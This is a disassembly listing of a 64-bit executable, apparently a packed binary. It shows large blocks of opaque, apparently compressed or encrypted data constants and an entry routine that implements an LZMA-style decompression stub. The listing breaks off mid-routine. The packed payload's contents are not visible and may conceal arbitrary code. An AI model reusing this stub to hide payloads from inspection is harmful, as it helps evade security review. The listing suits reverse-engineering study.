0x04040A8 dq 0AED5CB8C427D2841h, 0F582ABE79AAD252Dh, 0DAA3214349E27B77h
0x04040A8 dq 96B7E32D14431557h, 0A31E72D8C4596CCCh, 0D6868A33A3B05564h
0x04040A8 dq 545F546081C638C0h, 0C36AC3233BFB568Dh, 46C003243B030EF3h
0x04040A8 dq 9547CCFAF40F92Eh, 6EFA961C497B976Dh, 75FF75BAA844A57Ah
0x04040A8 dq 52109B6AB8B39ECEh, 13917EC2FAEE1485h, 673360335BC22449h
0x04040A8 dq 0F9D00843EA727685h, 3E3D4C7BEABAD398h, 9688F5CB54BD1736h
0x04040A8 dq 0BCB05598B52BA8E9h, 206D86E24D786B2Dh, 9E63DB98BED39772h
0x04040A8 dq 0E348A54DC580FFBDh, 0D8D337339499CBFCh, 23104732F774FD8Ch
0x04040A8 dq 5BB5C23AF584F98Eh, 89BD568DE0E1D45Bh, 0CC532DEB6CF85B7Fh
0x04040A8 dq 0E6AE68537BD335BBh, 5685E6D49B063E30h, 241D61876A0AC1D7h
0x04040A8 dq 87C7CE37538D7933h, 691F4BF7191CE68Ch, 5CE08C86AC8F987h
0x04040A8 dq 0C3D2B26153B996B8h, 0DBAB580E9EDB2E0Ch, 0FB38F55D8F0052A7h
0x04040A8 dq 0E034A89566BFC2Dh, 985DA4AE98A3FC7Bh, 0A03A22E9CD8DB0EFh
0x04040A8 dq 3948AEC3BDE9008Ch, 17DD30E1E4C18503h, 42A1547F0794894Fh
0x04040A8 dq 22C574BC95016CF0h, 80042075283810A4h, 6523B748994F6145h
0x04040A8 dq 399283E19E3A3A87h, 56651F65BADB7A62h, 0A44C0D73BADC54F0h
0x04040A8 dq 87F4981BA475EB6h, 7EA9ECAA8AA043C7h, 20B4D1A5F9CFEF06h
0x04040A8 dq 49BFAD33999F4457h, 3C31C0513DE5FC96h, 0CB970E919C4967EFh
0x04040A8 dq 361B9B1A769757DEh, 0F0D66826DA286BA4h, 3BD5EBB66FE64405h
0x04040A8 dq 3061C97E3B00605Fh, 0FE7F086C45580847h, 4F0F00B61F071D30h
0x04040A8 dq 0F25CDC37FD6CE075h, 0AC7C9CD5B551DF5Ah, 25C57599D7D75EC7h
0x04040A8 dq 0A9177F919CD4689h, 0F5C0CA7BA9751812h, 42EEBB59C4717E07h
0x04040A8 dq 70B8823C52421173h, 3D333CB39D3D17A0h, 521C44BD457BD90Bh
0x04040A8 dq 0A9ED9B8B7B02919Ch, 7E6F6BA20D59402Fh
0x04050A8 dq 822860D4F53C79B2h, 0C936FC095D3F7BECh, 5B848AFF12Ah
0x04050A8 dq 0E00000118h, 0C53328EB7F000318h, 787B18321D6B5D56h
0x04050A8 dq 0A72424665E4B906Dh, 0AD2F39354A644FE7h, 71357EDFF2B4F9E8h
0x04050A8 dq 88B46390CD0A4D4Bh, 2DEAD6731EA04B0Ch, 1C4ABF9FBD9D4850h
0x04050A8 dq 0B1D48ADC74A1D07Bh, 5EB8D06DD448505Ah, 0B35DE733506D1B7Ah
0x04050A8 dq 4CE33C65DA2C4F0Dh, 22AA3AD9D492204Ah, 0EDD7157F9AA992ACh
0x04050A8 dq 85CCB5147D7B4BE5h, 0CB0A7C0D6FB75342h, 9BD83366C0113DB0h
0x04050A8 dq 0C9C6AE878C04B692h, 0FDA91BC7D9772903h, 45FB426A0B6E8B2Bh
0x04050A8 dq 0F6B4D2085DAD6849h, 6FC5E1DC0CACBD81h, 0D9C60F918DC99A8Ah
0x04050A8 dq 0B283B38D3E8342A8h, 542421E2E553D7E5h, 2E25B154DA16E152h
0x04050A8 dq 8417D3BA0638A8AAh, 0A741242F49295BA6h, 0E24919C708483894h
0x04050A8 dq 12494A26041D65C2h, 0ECF3A612D773D752h, 0B56D3B54EFC4FDAEh
0x04050A8 dq 7360B65681658DDh, 0EFE873FC6A0E5DB2h, 0F5A541E35856D4h
0x04050A8 dq 51E400005120h
0x04051E8
0x04051E8 ; =============== S U B R O U T I N E =======================================
0x04051E8
0x04051E8
0x04051E8 public start
0x04051E8 start proc near
0x04051E8
0x04051E8 var_EB0 = byte ptr -0EB0h
0x04051E8 var_C8 = dword ptr -0C8h
0x04051E8 var_C4 = dword ptr -0C4h
0x04051E8 var_C0 = dword ptr -0C0h
0x04051E8 var_BC = dword ptr -0BCh
0x04051E8 var_B8 = dword ptr -0B8h
0x04051E8 var_B4 = dword ptr -0B4h
0x04051E8 var_B0 = dword ptr -0B0h
0x04051E8 var_AC = dword ptr -0ACh
0x04051E8 var_A8 = qword ptr -0A8h
0x04051E8 var_9C = dword ptr -9Ch
0x04051E8 var_98 = qword ptr -98h
0x04051E8 var_90 = qword ptr -90h
0x04051E8 var_88 = qword ptr -88h
0x04051E8 var_48 = qword ptr -48h
0x04051E8
0x04051E8 call loc_0x0405DC0
0x04051ED push rbp
0x04051EE push rbx
0x04051EF push rcx
0x04051F0 push rdx
0x04051F1 add rsi, rdi
0x04051F4 push rsi
0x04051F5 cmp r8b, 0Eh
0x04051F9 jnz loc_0x0405C6B
0x04051FF push rbp
0x0405200 mov rbp, rsp
0x0405203 mov r9d, [rcx]
0x0405206 mov r8, rdx
0x0405209 mov rdx, rsi
0x040520C lea rsi, [rdi+2]
0x0405210 push rsi
0x0405211 mov al, [rdi]
0x0405213 dec edx
0x0405215 mov cl, al
0x0405217 and al, 7
0x0405219 shr cl, 3
0x040521C mov rbx, 0FFFFFFFFFFFFFD00h
0x0405223 shl rbx, cl
0x0405226 mov cl, al
0x0405228 lea rbx, [rsp+rbx*2+38h+var_EB0]
0x0405230 and rbx, 0FFFFFFFFFFFFFFC0h
0x0405234
0x0405234 loc_0x0405234: ; xref: start+51
0x0405234 push 0
0x0405236 cmp rsp, rbx
0x0405239 jnz short loc_0x0405234
0x040523B push rbx
0x040523C lea rdi, [rbx+8]
0x0405240 mov cl, [rsi-1]
0x0405243 dec edx
0x0405245 mov [rdi+2], al
0x0405248 mov al, cl
0x040524A shr cl, 4
0x040524D mov [rdi+1], cl
0x0405250 and al, 0Fh
0x0405252 mov [rdi], al
0x0405254 lea rcx, [rdi-4]
0x0405258 push rax
0x0405259 nop
0x040525A nop
0x040525B nop
0x040525C nop
0x040525D nop
0x040525E nop
0x040525F nop
0x0405260 push r15
0x0405262 lea rax, [rdi+4]
0x0405266 xor r15d, r15d
0x0405269 push r14
0x040526B mov r14d, 1
0x0405271 push r13
0x0405273 xor r13d, r13d
0x0405276 push r12
0x0405278 push rbp
0x0405279 push rbx
0x040527A mov [rsp+80h+var_90], rcx
0x040527F mov [rsp+80h+var_A8], rax
0x0405284 mov eax, 1
0x0405289 mov [rsp+80h+var_88], rsi
0x040528E mov [rsp+80h+var_98], r8
0x0405293 mov ebx, eax
0x0405295 mov [rsp+80h+var_9C], r9d
0x040529A movzx ecx, byte ptr [rdi+2]
0x040529E shl ebx, cl
0x04052A0 mov ecx, ebx
0x04052A2 mov rbx, [rsp+80h+var_48]
0x04052A7 dec ecx
0x04052A9 mov [rsp+80h+var_AC], ecx
0x04052AD movzx ecx, byte ptr [rdi+1]
0x04052B1 shl eax, cl
0x04052B3 mov rcx, [rsp+80h+var_90]
0x04052B8 dec eax
0x04052BA mov [rsp+80h+var_B0], eax
0x04052BE movzx eax, byte ptr [rdi]
0x04052C1 mov dword ptr [rcx], 0
0x04052C7 mov [rsp+80h+var_B8], 0
0x04052CF mov [rsp+80h+var_BC], 1
0x04052D7 mov [rsp+80h+var_C0], 1
0x04052DF mov [rsp+80h+var_C4], 1
0x04052E7 mov dword ptr [rbx], 0
0x04052ED mov [rsp+80h+var_B4], eax
0x04052F1 movzx ecx, byte ptr [rdi+1]
0x04052F5 add ecx, eax
0x04052F7 mov eax, 300h
0x04052FC shl eax, cl
0x04052FE xor ecx, ecx
0x0405300 lea edi, [rax+736h]
0x0405306 cmp r15d, edi
0x0405309
0x0405309 loc_0x0405309: ; xref: start+134
0x0405309 jnb short loc_0x040531E
0x040530B mov rbx, [rsp+80h+var_A8]
0x0405310 mov eax, ecx
0x0405312 inc ecx
0x0405314 cmp ecx, edi
0x0405316 mov word ptr [rbx+rax*2], 400h
0x040531C jmp short loc_0x0405309
0x040531E ; ---------------------------------------------------------------------------
0x040531E
0x040531E loc_0x040531E: ; xref: start:loc_405309
0x040531E mov rdi, [rsp+80h+var_88]
0x0405323 mov eax, edx
0x0405325 xor r10d, r10d
0x0405328 or r11d, 0FFFFFFFFh
0x040532C xor edx, edx
0x040532E mov r12, rdi
0x0405331 add r12, rax
0x0405334
0x0405334 loc_0x0405334: ; xref: start+167
0x0405334 cmp rdi, r12
0x0405337 jz loc_0x0405C2C
0x040533D movzx eax, byte ptr [rdi]
0x0405340 shl r10d, 8
0x0405344 inc edx
0x0405346 inc rdi
0x0405349 or r10d, eax
0x040534C cmp edx, 4
0x040534F jle short loc_0x0405334
0x0405351 cmp r15d, [rsp+80h+var_9C]
0x0405356 jnb loc_0x0405C36
0x040535C
0x040535C loc_0x040535C: ; xref: start+A29
0x040535C mov eax, [rsp+80h+var_AC]
0x0405360 movsxd rbx, [rsp+80h+var_B8]
0x0405365 mov rdx, [rsp+80h+var_A8]
0x040536A and eax, r15d
0x040536D mov [rsp+80h+var_C8], eax
0x0405371 movsxd rbp, [rsp+80h+var_C8]
0x0405376 mov rax, rbx
0x0405379 shl rax, 4
0x040537D add rax, rbp
0x0405380 cmp r11d, 0FFFFFFh
0x0405387 lea r9, [rdx+rax*2]
0x040538B ja short loc_0x04053A7
0x040538D cmp rdi, r12
0x0405390 jz loc_0x0405C2C
0x0405396 movzx eax, byte ptr [rdi]
0x0405399 shl r10d, 8
0x040539D shl r11d, 8
0x04053A1 inc rdi
0x04053A4 or r10d, eax
0x04053A7
0x04053A7 loc_0x04053A7: ; xref: start+1A3
0x04053A7 movzx edx, word ptr [r9]
0x04053AB mov eax, r11d
0x04053AE shr eax, 0Bh
0x04053B1 movzx ecx, dx
0x04053B4 imul eax, ecx
0x04053B7 cmp r10d, eax
0x04053BA jnb loc_0x0405585
0x04053C0 mov r11d, eax
0x04053C3 mov eax, 800h
0x04053C8 mov rbx, [rsp+80h+var_A8]
0x04053CD sub eax, ecx
0x04053CF movzx ecx, byte ptr [rsp+80h+var_B4]
0x04053D4 mov esi, 1
0x04053D9 sar eax, 5
0x04053DC lea eax, [rdx+rax]
0x04053DF movzx edx, r13b
0x04053E3 mov [r9], ax
0x04053E7 mov eax, [rsp+80h+var_B0]
0x04053EB and eax, r15d
0x04053EE shl eax, cl
0x04053F0 mov ecx, 8
0x04053F5 sub ecx, [rsp+80h+var_B4]
0x04053F9 sar edx, cl
0x04053FB add eax, edx
0x04053FD imul eax, 300h
0x0405403 cmp [rsp+80h+var_B8], 6
0x0405408 mov eax, eax
0x040540A lea r9, [rbx+rax*2+0E6Ch]
0x0405412 jle loc_0x04054D0
0x0405418 mov rdx, [rsp+80h+var_98]
0x040541D mov eax, r15d
0x0405420 sub eax, r14d
0x0405423 movzx ebp, byte ptr [rdx+rax]
0x0405427
0x0405427 loc_0x0405427: ; xref: start+2D8
0x0405427 add ebp, ebp
0x0405429 movsxd rdx, esi
0x040542C mov ebx, ebp
0x040542E and ebx, 100h
0x0405434 cmp r11d, 0FFFFFFh
0x040543B movsxd rax, ebx
0x040543E lea rax, [r9+rax*2]
0x0405442 lea r8, [rax+rdx*2]
0x0405446 ja short loc_0x0405462
0x0405448 cmp rdi, r12
0x040544B jz loc_0x0405C2C
0x0405451 movzx eax, byte ptr [rdi]
0x0405454 shl r10d, 8
0x0405458 shl r11d, 8
0x040545C inc rdi
0x040545F or r10d, eax
0x0405462
0x0405462 loc_0x0405462: ; xref: start+25E
0x0405462 movzx edx, word ptr [r8+200h]
0x040546A mov eax, r11d
0x040546D shr eax, 0Bh
0x0405470 movzx ecx, dx
0x0405473 imul eax, ecx
0x0405476 cmp r10d, eax
0x0405479 jnb short loc_0x040549B
0x040547B mov r11d, eax
0x040547E mov eax, 800h
0x0405483 add esi, esi
0x0405485 sub eax, ecx
0x0405487 sar eax, 5
0x040548A test ebx, ebx
0x040548C lea eax, [rdx+rax]
0x040548F mov [r8+200h], ax
0x0405497 jz short loc_0x04054BA
0x0405499 jmp short loc_0x04054C8
0x040549B ; ---------------------------------------------------------------------------
0x040549B
0x040549B loc_0x040549B: ; xref: start+291
0x040549B sub r11d, eax
0x040549E sub r10d, eax
0x04054A1 mov eax, edx
0x04054A3 shr ax, 5
0x04054A7 lea esi, [rsi+rsi+1]
0x04054AB sub dx, ax
0x04054AE test ebx, ebx
0x04054B0 mov [r8+200h], dx
0x04054B8 jz short loc_0x04054C8
0x04054BA
0x04054BA loc_0x04054BA: ; xref: start+2AF
0x04054BA cmp esi, 0FFh
0x04054C0 jle loc_0x0405427
0x04054C6 jmp short loc_0x0405540
0x04054C8 ; ---------------------------------------------------------------------------
0x04054C8
0x04054C8 loc_0x04054C8: ; xref: start+2B1
0x04054C8 ; start+2D0
0x04054C8 cmp esi, 0FFh
0x04054CE jg short loc_0x0405540
0x04054D0
0x04054D0 loc_0x04054D0: ; xref: start+22A
0x04054D0 movsxd rax, esi
0x04054D3 cmp r11d, 0FFFFFFh
0x04054DA lea r8, [r9+rax*2]
0x04054DE ja short loc_0x04054FA
0x04054E0 cmp rdi, r12
0x04054E3 jz loc_0x0405C2C
0x04054E9 movzx eax, byte ptr [rdi]
0x04054EC shl r10d, 8
0x04054F0 shl r11d, 8
0x04054F4 inc rdi
0x04054F7 or r10d, eax
0x04054FA
0x04054FA loc_0x04054FA: ; xref: start+2F6
0x04054FA movzx edx, word ptr [r8]
0x04054FE mov eax, r11d
0x0405501 shr eax, 0Bh
0x0405504 movzx ecx, dx
0x0405507 imul eax, ecx
0x040550A cmp r10d, eax
0x040550D jnb short loc_0x0405527
0x040550F mov r11d, eax
0x0405512 mov eax, 800h
0x0405517 add esi, esi
0x0405519 sub eax, ecx
0x040551B sar eax, 5
0x040551E lea eax, [rdx+rax]
0x0405521 mov [r8], ax
0x0405525 jmp short loc_0x04054C8
0x0405527 ; ---------------------------------------------------------------------------
0x0405527
0x0405527 loc_0x0405527: ; xref: start+325
0x0405527 sub r11d, eax
0x040552A sub r10d, eax
0x040552D mov eax, edx
0x040552F shr ax, 5
0x0405533 lea esi, [rsi+rsi+1]
0x0405537 sub dx, ax
0x040553A mov [r8], dx
0x040553E jmp short loc_0x04054C8
0x0405540 ; ---------------------------------------------------------------------------
0x0405540
0x0405540 loc_0x0405540: ; xref: start+2DE
0x0405540 ; start+2E6
0x0405540 mov rcx, [rsp+80h+var_98]
0x0405545 mov eax, r15d
0x0405548 inc r15d
0x040554B mov r13d, esi
0x040554E mov [rcx+rax], sil
0x0405552 cmp [rsp+80h+var_B8], 3
0x0405557 jg short loc_0x0405566
0x0405559 mov [rsp+80h+var_B8], 0
0x0405561 jmp loc_0x0405C0C
0x0405566 ; ---------------------------------------------------------------------------
0x0405566
0x0405566 loc_0x0405566: ; xref: start+36F
0x0405566 mov edx, [rsp+80h+var_B8]
0x040556A mov eax, [rsp+80h+var_B8]
0x040556E sub edx, 3
0x0405571 sub eax, 6
0x0405574 cmp [rsp+80h+var_B8], 9
0x0405579 cmovg edx, eax
0x040557C mov [rsp+80h+var_B8], edx
0x0405580 jmp loc_0x0405C0C
0x0405585 ; ---------------------------------------------------------------------------
0x0405585
0x0405585 loc_0x0405585: ; xref: start+1D2
0x0405585 sub r11d, eax
0x0405588 sub r10d, eax
0x040558B mov eax, edx
0x040558D shr ax, 5
0x0405591 sub dx, ax
0x0405594 mov rax, [rsp+80h+var_A8]
0x0405599 cmp r11d, 0FFFFFFh
0x04055A0 mov [r9], dx
0x04055A4 lea rsi, [rax+rbx*2]
0x04055A8 ja short loc_0x04055C4
0x04055AA cmp rdi, r12
0x04055AD jz loc_0x0405C2C
0x04055B3 movzx eax, byte ptr [rdi]
0x04055B6 shl r10d, 8
0x04055BA shl r11d, 8
0x04055BE inc rdi
0x04055C1 or r10d, eax
0x04055C4
0x04055C4 loc_0x04055C4: ; xref: start+3C0
0x04055C4 movzx edx, word ptr [rsi+180h]
0x04055CB mov eax, r11d
0x04055CE shr eax, 0Bh
0x04055D1 movzx ecx, dx
0x04055D4 imul eax, ecx
0x04055D7 cmp r10d, eax
0x04055DA jnb short loc_0x040562A
0x04055DC mov r11d, eax
0x04055DF mov eax, 800h
0x04055E4 mov r9, [rsp+80h+var_A8]
0x04055E9 sub eax, ecx
0x04055EB mov ecx, [rsp+80h+var_BC]
0x04055EF mov [rsp+80h+var_BC], r14d
0x04055F4 sar eax, 5
0x04055F7 lea eax, [rdx+rax]
0x04055FA mov edx, [rsp+80h+var_C0]
0x04055FE mov [rsp+80h+var_C0], ecx
0x0405602 mov [rsi+180h], ax
0x0405609 xor eax, eax
0x040560B cmp [rsp+80h+var_B8], 6
0x0405610 mov [rsp+80h+var_C4], edx
0x0405614 setnle al
0x0405617 add r9, 664h
0x040561E lea eax, [rax+rax*2]
0x0405621 mov [rsp+80h+var_B8], eax
0x0405625 jmp loc_0x040587E
0x040562A ; ---------------------------------------------------------------------------
0x040562A
0x040562A loc_0x040562A: ; xref: start+3F2
0x040562A sub r11d, eax
0x040562D sub r10d, eax
0x0405630 mov eax, edx
0x0405632 shr ax, 5
0x0405636 sub dx, ax
0x0405639 cmp r11d, 0FFFFFFh
0x0405640 mov [rsi+180h], dx
0x0405647 ja short loc_0x0405663
0x0405649 cmp rdi, r12
0x040564C jz loc_0x0405C2C
0x0405652 movzx eax, byte ptr [rdi]
0x0405655 shl r10d, 8
0x0405659 shl r11d, 8
0x040565D inc rdi
0x0405660 or r10d, eax
0x0405663
0x0405663 loc_0x0405663: ; xref: start+45F
0x0405663 movzx edx, word ptr [rsi+198h]
0x040566A mov eax, r11d
0x040566D shr eax, 0Bh
0x0405670 movzx ecx, dx
0x0405673 imul eax, ecx
0x0405676 cmp r10d, eax
0x0405679 jnb loc_0x040574F
0x040567F mov r8d, 800h
0x0405685 mov r11d, eax
0x0405688 shl rbx, 5
0x040568C mov eax, r8d
0x040568F sub eax, ecx
0x0405691 sar eax, 5
0x0405694 lea eax, [rdx+rax]
0x0405697 mov [rsi+198h], ax
0x040569E mov rax, [rsp+80h+var_A8]
0x04056A3 add rax, rbx
0x04056A6 cmp r11d, 0FFFFFFh
0x04056AD lea rsi, [rax+rbp*2]
0x04056B1 ja short loc_0x04056CD
0x04056B3 cmp rdi, r12
0x04056B6 jz loc_0x0405C2C
0x04056BC movzx eax, byte ptr [rdi]
0x04056BF shl r10d, 8
0x04056C3 shl r11d, 8
0x04056C7 inc rdi
0x04056CA or r10d, eax
0x04056CD
0x04056CD loc_0x04056CD: ; xref: start+4C9
0x04056CD movzx edx, word ptr [rsi+1E0h]
0x04056D4 mov eax, r11d
0x04056D7 shr eax, 0Bh
0x04056DA movzx ecx, dx
0x04056DD imul eax, ecx
0x04056E0 cmp r10d, eax
0x04056E3 jnb short loc_0x0405734
0x04056E5 sub r8d, ecx
0x04056E8 mov r11d, eax
0x04056EB sar r8d, 5
0x04056EF test r15d, r15d
0x04056F2 lea eax, [rdx+r8]
0x04056F6 mov [rsi+1E0h], ax
0x04056FD jz loc_0x0405C2C
0x0405703 xor eax, eax
0x0405705 cmp [rsp+80h+var_B8], 6
0x040570A mov rbx, [rsp+80h+var_98]
0x040570F setnle al
0x0405712 lea eax, [rax+rax+9]
0x0405716 mov [rsp+80h+var_B8], eax
0x040571A mov eax, r15d
0x040571D sub eax, r14d
0x0405720 movzx r13d, byte ptr [rbx+rax]
0x0405725 mov eax, r15d
0x0405728 inc r15d
0x040572B mov [rbx+rax], r13b
0x040572F jmp loc_0x0405C0C
0x0405734 ; ---------------------------------------------------------------------------
0x0405734
0x0405734 loc_0x0405734: ; xref: start+4FB
0x0405734 sub r11d, eax
0x0405737 sub r10d, eax
0x040573A mov eax, edx
0x040573C shr ax, 5
0x0405740 sub dx, ax
0x0405743 mov [rsi+1E0h], dx
0x040574A jmp loc_0x0405860
0x040574F ; ---------------------------------------------------------------------------
0x040574F
0x040574F loc_0x040574F: ; xref: start+491
0x040574F sub r11d, eax
0x0405752 sub r10d, eax
0x0405755 mov eax, edx
0x0405757 shr ax, 5
0x040575B sub dx, ax
0x040575E cmp r11d, 0FFFFFFh
0x0405765 mov [rsi+198h], dx
0x040576C ja short loc_0x0405788
0x040576E cmp rdi, r12
0x0405771 jz loc_0x0405C2C
0x0405777 movzx eax, byte ptr [rdi]
0x040577A shl r10d, 8
0x040577E shl r11d, 8
0x0405782 inc rdi
0x0405785 or r10d, eax
0x0405788
0x0405788 loc_0x0405788: ; xref: start+584
0x0405788 movzx edx, word ptr [rsi+1B0h]
0x040578F mov eax, r11d
0x0405792 shr eax, 0Bh
0x0405795 movzx ecx, dx
0x0405798 imul eax, ecx
0x040579B cmp r10d, eax
0x040579E jnb short loc_0x04057C0
0x04057A0 mov r11d, eax
0x04057A3 mov eax, 800h
0x04057A8 sub eax, ecx
0x04057AA sar eax, 5
0x04057AD lea eax, [rdx+rax]
0x04057B0 mov [rsi+1B0h], ax
0x04057B7 mov eax, [rsp+80h+var_BC]
0x04057BB jmp loc_0x0405858
0x04057C0 ; ---------------------------------------------------------------------------
0x04057C0
0x04057C0 loc_0x04057C0: ; xref: start+5B6
0x04057C0 sub r11d, eax
0x04057C3 sub r10d, eax
0x04057C6 mov eax, edx
0x04057C8 shr ax, 5
0x04057CC sub dx, ax
0x04057CF cmp r11d, 0FFFFFFh
0x04057D6 mov [rsi+1B0h], dx
0x04057DD ja short loc_0x04057F9
0x04057DF cmp rdi, r12
0x04057E2 jz loc_0x0405C2C
0x04057E8 movzx eax, byte ptr [rdi]
0x04057EB shl r10d, 8
0x04057EF shl r11d, 8
0x04057F3 inc rdi
0x04057F6 or r10d, eax
0x04057F9
0x04057F9 loc_0x04057F9: ; xref: start+5F5
0x04057F9 movzx edx, word ptr [rsi+1C8h]
0x0405800 mov eax, r11d
0x0405803 shr eax, 0Bh
0x0405806 movzx ecx, dx
0x0405809 imul eax, ecx
0x040580C cmp r10d, eax
0x040580F jnb short loc_0x040582E
0x0405811 mov r11d, eax
0x0405814 mov eax, 800h
0x0405819 sub eax, ecx
0x040581B sar eax, 5
0x040581E lea eax, [rdx+rax]
0x0405821 mov [rsi+1C8h], ax
0x0405828 mov eax, [rsp+80h+var_C0]
0x040582C jmp short loc_0x0405850
0x040582E ; ---------------------------------------------------------------------------
0x040582E
0x040582E loc_0x040582E: ; xref: start+627
0x040582E sub r11d, eax
0x0405831 sub r10d, eax
0x0405834 mov eax, edx
0x0405836 shr ax, 5
0x040583A sub dx, ax
0x040583D mov eax, [rsp+80h+var_C4]
0x0405841 mov [rsi+1C8h], dx
0x0405848 mov edx, [rsp+80h+var_C0]
0x040584C mov [rsp+80h+var_C4], edx
0x0405850
0x0405850 loc_0x0405850: ; xref: start+644
0x0405850 mov ecx, [rsp+80h+var_BC]
0x0405854 mov [rsp+80h+var_C0], ecx
0x0405858
0x0405858 loc_0x0405858: ; xref: start+5D3
0x0405858 mov [rsp+80h+var_BC], r14d
0x040585D mov r14d, eax
0x0405860
0x0405860 loc_0x0405860: ; xref: start+562
0x0405860 xor eax, eax
0x0405862 cmp [rsp+80h+var_B8], 6
0x0405867 mov r9, [rsp+80h+var_A8]
0x040586C setnle al
0x040586F add r9, 0A68h
0x0405876 lea eax, [rax+rax*2+8]
0x040587A mov [rsp+80h+var_B8], eax
0x040587E
0x040587E loc_0x040587E: ; xref: start+43D
0x040587E cmp r11d, 0FFFFFFh
0x0405885 ja short loc_0x04058A1
0x0405887 cmp rdi, r12
0x040588A jz loc_0x0405C2C
0x0405890 movzx eax, byte ptr [rdi]
0x0405893 shl r10d, 8
0x0405897 shl r11d, 8
0x040589B inc rdi
0x040589E or r10d, eax
0x04058A1
0x04058A1 loc_0x04058A1: ; xref: start+69D
0x04058A1 movzx edx, word ptr [r9]
0x04058A5 mov eax, r11d
0x04058A8 shr eax, 0Bh
0x04058AB movzx ecx, dx
0x04058AE imul eax, ecx
0x04058B1 cmp r10d, eax
0x04058B4 jnb short loc_0x04058DD
0x04058B6 mov r11d, eax
0x04058B9 mov eax, 800h
0x04058BE xor r13d, r13d
0x04058C1 sub eax, ecx
0x04058C3 sar eax, 5
0x04058C6 lea eax, [rdx+rax]
0x04058C9 mov [r9], ax
0x04058CD movsxd rax, [rsp+80h+var_C8]
0x04058D2 shl rax, 4
0x04058D6 lea r8, [r9+rax+4]
0x04058DB jmp short loc_0x0405955
0x04058DD ; ---------------------------------------------------------------------------
0x04058DD
0x04058DD loc_0x04058DD: ; xref: start+6CC
0x04058DD sub r11d, eax
0x04058E0 sub r10d, eax
0x04058E3 mov eax, edx
0x04058E5 shr ax, 5
0x04058E9 sub dx, ax
0x04058EC cmp r11d, 0FFFFFFh
0x04058F3 mov [r9], dx
0x04058F7 ja short loc_0x0405913
0x04058F9 cmp rdi, r12
0x04058FC jz loc_0x0405C2C
0x0405902 movzx eax, byte ptr [rdi]
0x0405905 shl r10d, 8
0x0405909 shl r11d, 8
0x040590D inc rdi
0x0405910 or r10d, eax
0x0405913
0x0405913 loc_0x0405913: ; xref: start+70F
0x0405913 movzx edx, word ptr [r9+2]
0x0405918 mov eax, r11d
0x040591B shr eax, 0Bh
0x040591E movzx ecx, dx
0x0405921 imul eax, ecx
0x0405924 cmp r10d, eax
0x0405927 jnb short loc_0x040595D
0x0405929 mov r11d, eax
0x040592C mov eax, 800h
0x0405931 mov r13d, 8
0x0405937 sub eax, ecx
0x0405939 sar eax, 5
0x040593C lea eax, [rdx+rax]
0x040593F mov [r9+2], ax
0x0405944 movsxd rax, [rsp+80h+var_C8]
0x0405949 shl rax, 4
0x040594D lea r8, [r9+rax+104h]
0x0405955
0x0405955 loc_0x0405955: ; xref: start+6F3
0x0405955 mov r9d, 3
0x040595B jmp short loc_0x0405984
0x040595D ; ---------------------------------------------------------------------------
0x040595D
0x040595D loc_0x040595D: ; xref: start+73F
0x040595D sub r11d, eax
0x0405960 sub r10d, eax
0x0405963 mov eax, edx
0x0405965 shr ax, 5
0x0405969 lea r8, [r9+204h]
0x0405970 mov r13d, 10h
0x0405976 sub dx, ax
0x0405979 mov [r9+2], dx
0x040597E mov r9d, 8
0x0405984
0x0405984 loc_0x0405984: ; xref: start+773
0x0405984 mov ebx, r9d
0x0405987 mov ebp, 1
0x040598C
0x040598C loc_0x040598C: ; xref: start+811
0x040598C movsxd rax, ebp
0x040598F cmp r11d, 0FFFFFFh
0x0405996 lea rsi, [r8+rax*2]
0x040599A ja short loc_0x04059B6
0x040599C cmp rdi, r12
0x040599F jz loc_0x0405C2C
0x04059A5 movzx eax, byte ptr [rdi]
0x04059A8 shl r10d, 8
0x04059AC shl r11d, 8
0x04059B0 inc rdi
0x04059B3 or r10d, eax
0x04059B6
0x04059B6 loc_0x04059B6: ; xref: start+7B2
0x04059B6 movzx ecx, word ptr [rsi]
0x04059B9 mov eax, r11d
0x04059BC shr eax, 0Bh
0x04059BF movzx edx, cx
0x04059C2 imul eax, edx
0x04059C5 cmp r10d, eax
0x04059C8 jnb short loc_0x04059E1
0x04059CA mov r11d, eax
0x04059CD mov eax, 800h
0x04059D2 add ebp, ebp
0x04059D4 sub eax, edx
0x04059D6 sar eax, 5
0x04059D9 lea eax, [rcx+rax]
0x04059DC mov [rsi], ax
0x04059DF jmp short loc_0x04059F7
0x04059E1 ; ---------------------------------------------------------------------------
0x04059E1
0x04059E1 loc_0x04059E1: ; xref: start+7E0
0x04059E1 sub r11d, eax
0x04059E4 sub r10d, eax
0x04059E7 mov eax, ecx
0x04059E9 shr ax, 5
0x04059ED lea ebp, [rbp+rbp+1]
0x04059F1 sub cx, ax
0x04059F4 mov [rsi], cx
0x04059F7
0x04059F7 loc_0x04059F7: ; xref: start+7F7
0x04059F7 dec ebx
0x04059F9 jnz short loc_0x040598C
0x04059FB mov eax, 1
0x0405A00 mov ecx, r9d
0x0405A03 shl eax, cl
0x0405A05 sub ebp, eax
0x0405A07 add ebp, r13d
0x0405A0A cmp [rsp+80h+var_B8], 3
0x0405A0F jg loc_0x0405BD7
0x0405A15 add [rsp+80h+var_B8], 7
0x0405A1A mov eax, 3
0x0405A1F cmp ebp, 4
0x0405A22 cmovl eax, ebp
0x0405A25 mov rbx, [rsp+80h+var_A8]
0x0405A2A mov r8d, 1
0x0405A30 cdqe
0x0405A32 shl rax, 7
0x0405A36 lea r9, [rbx+rax+360h]
0x0405A3E mov ebx, 6
0x0405A43
0x0405A43 loc_0x0405A43: ; xref: start+8CA
0x0405A43 movsxd rax, r8d
0x0405A46 cmp r11d, 0FFFFFFh
0x0405A4D lea rsi, [r9+rax*2]
0x0405A51 ja short loc_0x0405A6D
0x0405A53 cmp rdi, r12
0x0405A56 jz loc_0x0405C2C
0x0405A5C movzx eax, byte ptr [rdi]
0x0405A5F shl r10d, 8
0x0405A63 shl r11d, 8
0x0405A67 inc rdi
0x0405A6A or r10d, eax
0x0405A6D
0x0405A6D loc_0x0405A6D: ; xref: start+869
0x0405A6D movzx edx, word ptr [rsi]
0x0405A70 mov eax, r11d
0x0405A73 shr eax, 0Bh
0x0405A76 movzx ecx, dx
0x0405A79 imul eax, ecx
0x0405A7C cmp r10d, eax
0x0405A7F jnb short loc_0x0405A99
0x0405A81 mov r11d, eax
0x0405A84 mov eax, 800h
0x0405A89 add r8d, r8d
0x0405A8C sub eax, ecx
0x0405A8E sar eax, 5
0x0405A91 lea eax, [rdx+rax]
0x0405A94 mov [rsi], ax
0x0405A97 jmp short loc_0x0405AB0
0x0405A99 ; ---------------------------------------------------------------------------
0x0405A99
0x0405A99 loc_0x0405A99: ; xref: start+897
0x0405A99 sub r11d, eax
0x0405A9C sub r10d, eax
0x0405A9F mov eax, edx
